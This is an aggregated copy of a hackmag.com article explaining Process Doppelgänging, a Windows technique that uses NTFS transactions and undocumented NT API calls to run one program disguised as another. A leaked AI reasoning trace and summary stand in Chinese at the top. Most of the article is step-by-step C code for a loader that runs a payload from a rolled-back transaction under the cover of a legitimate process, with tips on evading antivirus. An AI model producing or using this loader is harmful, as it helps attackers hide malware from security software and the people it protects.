利用 Process Doppelgänging 隐藏恶意软件:基于 NTFS 事务与未公开 WinAPI 的机制解析
嗯,用户让我帮忙总结一下这篇文章的内容,控制在一百个字以内,而且不需要用“文章内容总结”之类的开头。好的,我先快速浏览一下文章。 文章主要讲的是Process Doppelgänging这个技术,它是在Black Hat Europe 2017上提出的。这个技术利用了NTFS事务机制,通过创建临时文件和内存缓冲区来隐藏进程。与之前的Process Hollowing不同,Doppelgänging不需要替换已挂起进程的内存,而是直接启动一个新的进程,并使其看起来像是另一个合法进程。 作者还提到了这个技术的优缺点。优点是它利用了不太常见的WinAPI函数,让杀毒软件难以检测;缺点是这些函数一旦被发现就会被标记为可疑。文章还提供了一个实现这个技术的代码示例,展示了如何动态解析NTAPI函数、创建事务、写入内存以及启动线程。 总的来说,这篇文章详细介绍了Process Doppelgänging的工作原理、实现步骤以及其在恶意软件中的应用潜力。同时,也指出了该技术在检测和防御方面的挑战。 现在需要将这些内容浓缩到100字以内。我得抓住关键点:Process Doppelgänging是什么,它如何工作(利用NTFS事务),与Process Hollowing的区别,以及它的优缺点和应用实例。 可能的总结结构: - Process Doppelgänging是一种新的进程注入技术。 - 它利用NTFS事务机制,在内存中创建临时文件。 - 与Process Hollowing不同,它直接启动新进程并伪装成合法进程。 - 利用不常见的WinAPI函数,难以检测。 - 文章提供了实现代码示例。 - 技术优点是文件少、隐蔽性强;缺点是容易被标记为可疑。 现在把这些整合成一句流畅的话: 这篇文章介绍了Process Doppelgänging技术,它利用NTFS事务机制在内存中隐藏进程启动,并通过伪装合法进程来规避检测。与传统的Process Hollowing不同,该技术直接创建新进程而不替换现有内存空间。文章还提供了实现代码示例,并讨论了其优缺点及检测挑战。 检查一下字数:刚好在100字左右吗?可能需要调整一下措辞使其更简洁。 最终版本: 这篇文章介绍了Process Doppelgänging技术,利用NTFS事务机制在内存中隐藏进程启动,并伪装成合法程序以规避检测。与传统方法不同,该技术直接创建新进程而不替换现有内存空间。文章提供了实现代码示例,并讨论了其优缺点及检测挑战。 </think> 这篇文章介绍了Process Doppelgänging技术,利用NTFS事务机制在内存中隐藏进程启动,并伪装成合法程序以规避检测。与传统方法不同,该技术直接创建新进程而不替换现有内存空间。文章提供了实现代码示例,并讨论了其优缺点及检测挑战。 2026-4-17 22:0:0 Author: hackmag.com(查看原文) 阅读量:3 收藏

At Black Hat Europe 2017, researchers presented a talk on a new process-launching technique called Process Doppelgänging. Malware authors quickly adopted it, and there are already several strains in the wild that exploit this method. I’ll explain what Process Doppelgänging is, which system mechanisms it relies on, and we’ll also write a small loader that demonstrates how to launch one process while making it appear as another.

The Process Doppelgänging technique is somewhat similar to its predecessor, Process Hollowing, but it differs in how the application is started and how it interacts with the operating system’s loader. In addition, the new technique relies on NTFS transaction mechanisms and related WinAPI calls such as CreateTransaction, CommitTransaction, CreateFileTransacted, and RollbackTransaction, which, of course, are not used in Process Hollowing.

This new technique for hiding processes is both its greatest strength and its main weakness. On the one hand, antivirus and security software developers were not prepared for malware to use NTFS transaction–related WinAPI functions as an execution mechanism. On the other hand, after a talk at a conference, those same WinAPI calls will immediately become suspect whenever they appear in executable code. And that’s no surprise: these are obscure system calls that almost never show up in normal applications. There are, of course, several ways to conceal WinAPI calls, but that’s a separate topic. For now, what we have is a solid proof of concept that can be developed further.

Differences Between Process Doppelgänging and Process Hollowing

Process Hollowing is a widely used technique in certain circles for running arbitrary executable code. It works by replacing the code of a suspended legitimate process with malicious code and then running that malicious code in the context of the original process. Here’s the general workflow of Process Hollowing.

  • Use CreateProcess to launch a legitimate, trusted process with the CREATE_SUSPENDED flag so it starts in a suspended state.
  • Hide the mapped section from the process’s address space using NtUnmapViewOfSection.
  • Overwrite the code in memory with the desired payload using WriteProcessMemory.
  • Start execution by resuming the main thread with ResumeThread.

In essence, we’re manually altering how the OS bootloader works and doing part of its job for it, while also swapping out code in memory along the way.

In turn, to implement the Process Doppelgänging technique, we need to perform the following steps.

  • Create a new NTFS transaction using the CreateTransaction function.
  • Within the context of this transaction, create a temporary file for our code using CreateFileTransacted.
  • Create in‑memory buffers for the temporary file (a “section” object) using the NtCreateSection function.
  • Inspect the PEB (Process Environment Block).
  • Start the process via NtCreateProcessEx, then resume its main thread with ResumeThread.

The NTFS Transactional File System (TxF) technology first appeared in Windows Vista at the NTFS driver level and has remained in all subsequent operating systems in this family. It is designed to support various operations on the NTFS file system, and is also sometimes used when working with databases.

TxF operations are considered atomic: while a transaction (and its associated files) is in progress, it remains invisible to everyone until it’s either committed or rolled back. And if it’s rolled back, the operation won’t change anything on disk.

You can create a transaction using the CreateTransaction function with zeroed parameters; the last parameter is the transaction name. Its prototype looks like this:

HANDLE CreateTransaction(

IN LPSECURITY_ATTRIBUTES lpTransactionAttributes OPTIONAL,

IN LPGUID UOW OPTIONAL,

IN DWORD CreateOptions OPTIONAL,

IN DWORD IsolationLevel OPTIONAL,

IN DWORD IsolationFlags OPTIONAL,

IN DWORD Timeout OPTIONAL,

LPWSTR Description

);

Getting Started

We’ll start building the application from scratch. Let’s agree that our application (the payload), which we’ll need to run in the context of another application (the target), will be passed as the second argument, and the target itself will be passed as the first argument.

Using Undocumented NTAPI Functions

In the code, we’ll be using undocumented Windows NT API functions. We’ll resolve them dynamically based on their prototypes. Here’s one possible way to obtain these undocumented functions and work with them.

We declare the prototype of the NtQueryInformationProcess function:

typedef NTSTATUS(WINAPI *NtQueryInformationProcess)(HANDLE,

UINT,

PVOID,

ULONG,

PULONG);

At runtime, we fetch the address of the required function in ntdll.dll by its name using GetProcAddress and assign it to the variable defined by our function prototype:

pNtQueryInformationProcess NtQueryInfoProcess = (pNtQueryInformationProcess) GetProcAddress(

LoadLibrary(L"ntdll.dll"),

"NtQueryInformationProcess"

);

Here we’re using the NtQueryInformationProcess function in the usual way, just calling it through our own variable:

NTSTATUS Status = pNtQueryInfoProcess(...);

if (Status == 0x00000000) return 0;

This is how all the required undocumented functions are obtained and used — the ones you’d normally put into the project’s header file.

int main(int argc, char *argv[]) {

WCHAR descr[MAX_PATH] = { 0 };

HANDLE hTrans = CreateTransaction(NULL,

0,

0,

0,

0,

0,

descr);

if (hTrans == INVALID_HANDLE_VALUE)

return -1;

Next, create a dummy temporary file within the transaction context.

HANDLE hTrans_file = CreateFileTransacted(dummy_file,

GENERIC_WRITE | GENERIC_READ,

0,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

NULL,

hTrans,

NULL,

NULL);

if (hTrans_file == INVALID_HANDLE_VALUE)

return -1;

The dummy_file variable stores the path to the file we’re impersonating. I’ll try to always show prototypes for undocumented functions; here’s the prototype for CreateFileTransacted.

HANDLE CreateFileTransactedA(

LPCSTR lpFileName,

DWORD dwDesiredAccess,

DWORD dwShareMode,

LPSECURITY_ATTRIBUTES lpSecurityAttributes,

DWORD dwCreationDisposition,

DWORD dwFlagsAndAttributes,

HANDLE hTemplateFile,

HANDLE hTransaction,

PUSHORT pusMiniVersion,

PVOID lpExtendedParameter

);

Next, we need to allocate memory for our payload. You can do this either by using memory mapping or with a regular malloc call.

HANDLE input_payload = CreateFile(argv[2],

GENERIC_READ,

0,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

NULL);

if (input_payload == INVALID_HANDLE_VALUE)

return -1;

BOOL status = GetFileSizeEx(input_payload, &pf_size);

if (!status) return -1;

DWORD dwf_size = pf_size.LowPart;

BYTE *buf = (BYTE *)malloc(dwf_size);

if (!buf) return -1;

I don’t think this code will give you any trouble: it only uses standard WinAPI functions and regular C language functions.

So, the buffer in memory is ready—now let’s fill it.

DWORD read_bytes = 0;

DWORD overwrote = 0;

if (ReadFile(input_payload, buf, dwf_size, &read_bytes, NULL) == FALSE)

return -1;

if (WriteFile(hTransactedFile, buf, dwf_size, &overwrote, NULL) == FALSE)

return -1;

status = NtCreateSection(&hSection_obj,

SECTION_ALL_ACCESS,

NULL,

0,

PAGE_READONLY,

SEC_IMAGE,

hTrans_file);

if (!NT_SUCCESS(status))

return -1;

At this point, everything in memory is ready: the buffer is allocated and filled with our payload. Now we just need to do a few things — create a process, set up the PEB, calculate the entry point, and start execution in a new thread. 🙂

We can’t use CreateProcess to create the process: it needs a path to an executable file, and the file we created inside the transaction is fake. On top of that, the transaction hasn’t been committed (and never will be, we’ll roll it back), so we’re simply unable to provide a valid path.

There is a way around this — use the NTAPI function NtCreateProcessEx. It doesn’t require a file path. Here is its prototype:

NTSTATUS

NTAPI

NtCreateProcessEx(

_Out_ PHANDLE ProcessHandle,

_In_ ACCESS_MASK DesiredAccess,

_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,

_In_ HANDLE ParentProcess,

_In_ ULONG Flags,

_In_opt_ HANDLE SectionHandle,

_In_opt_ HANDLE DebugPort,

_In_opt_ HANDLE ExceptionPort,

_In_ ULONG JobMemberLevel

);

The SectionHandle parameter passed to this function is simply the handle to the section we previously created with NtCreateSection.

status = NtCreateProcessEx(&h_proc,

GENERIC_ALL,

NULL,

GetCurrentProcess(),

PS_INHERIT_HANDLES,

hSection_obj,

NULL,

NULL,

FALSE);

if (!NT_SUCCESS(status))

return -1;

Here’s where the magic ends and the routine begins. If you’ve ever implemented in‑memory process creation using NtCreateProcessEx, this will be straightforward. First, we’ll populate RTL_USER_PROCESS_PARAMETERS and write this data into our process.

UNICODE_STRING victim_path;

PRTL_USER_PROCESS_PARAMETERS proc_parameters = 0;

status = RtlCreateProcessParametersEx(&proc_parameters,

&victim_path,

NULL,

NULL,

&victim_path,

NULL,

NULL,

NULL,

NULL,

NULL,

RTL_USER_PROC_PARAMS_NORMALIZED);

if (!NT_SUCCESS(status))

return -1;

LPVOID r_proc_parameters;

r_proc_parameters = VirtualAllocEx(h_proc, proc_parameters,

(ULONGLONG)proc_parameters & 0xffff + proc_parameters->EnvironmentSize + proc_parameters->MaximumLength,

MEM_COMMIT | MEM_RESERVE,

PAGE_READWRITE);

if (!r_proc_parameters)

return -1;

status = WriteProcessMemory(h_proc,

proc_parameters,

proc_parameters,

proc_parameters->EnvironmentSize + proc_parameters->MaximumLength,

NULL);

if (!NT_SUCCESS(status))

return -1;

Next, similarly, we use WriteProcessMemory to modify the PEB.

PROCESS_BASIC_INFORMATION pb_info;

status = NtQueryInformationProcess(

h_proc,

ProcessBasicInformation,

&pb_info,

sizeof(pb_info),

0);

if (!NT_SUCCESS(status))

return -1;

PEB *peb = pb_info.PebBaseAddress;

status = WriteProcessMemory(h_proc,

&peb->ProcessParameters,

&proc_parameters,

sizeof(LPVOID),

NULL);

if (!NT_SUCCESS(status))

return -1;

And the final touch is starting the process thread. To do that, we need to determine the module’s base load address and the entry point of the code in the buffer we allocated. The code for this is standard and somewhat simplified.

PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buf;

PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(buf + dos_header->e_lfanew);

ULONGLONG ep_proc = nt_header->OptionalHeader.AddressOfEntryPoint;

GetSystemInfo(&sys_info);

LPVOID base_addr = 0;

while (p_memory < sys_info.lpMaximumApplicationAddress) {

VirtualQueryEx(h_proc,

p_memory,

&mem_basic_info,

sizeof(MEMORY_BASIC_INFORMATION));

GetMappedFileName(h_proc,

mem_basic_info.BaseAddress,

mod_name,

MAX_PATH);

if (strstr(mod_name, argv[1]))

base_addr = mem_basic_info.BaseAddress;

p_memory = (LPVOID)((ULONGLONG)mem_basic_info.BaseAddress + (ULONGLONG)mem_basic_info.RegionSize);

}

ep_proc += (ULONGLONG)base_addr;

And then we start the actual thread:

HANDLE hThread;

status = NtCreateThreadEx(&hThread,

GENERIC_ALL,

NULL,

h_proc,

(LPTHREAD_START_ROUTINE)ep_proc,

NULL,

FALSE,

0,

0,

0,

NULL);

if (!NT_SUCCESS(status))

return -1;

That’s it. From this point on, our code starts running under the cover of another process.
Don’t forget to roll back the transaction:

if (!RollbackTransaction(hTrans)) return -1;

Conclusion

As you can see, there’s nothing particularly complex about this new attack. One nice bonus is that it’s fileless: all the code only ever lives in memory, because instead of committing the NTFS transaction, we roll back all the changes.

This kind of injection is fairly easy to detect — you just need to compare the code in memory with the code on disk. In addition, some of the NTAPI calls used in this article are heavily flagged by antivirus heuristics (for example, NtCreateThreadEx). The very fact that your code uses rarely seen WinAPI functions related to NTFS transactions can also raise suspicion, especially given that Microsoft itself advises against using them. That doesn’t guarantee a heuristic will trigger, but it will definitely make antivirus engines scrutinize your file with a strong bias.

Note that the code I showed is just a proof of concept and can be improved in many ways. For example, you could use memory-mapped buffers instead of regular allocations, encrypt the logic that dynamically resolves function addresses, and so on.


文章来源: https://hackmag.com/security/doppelganging-process
如有侵权请联系:admin#unsafe.sh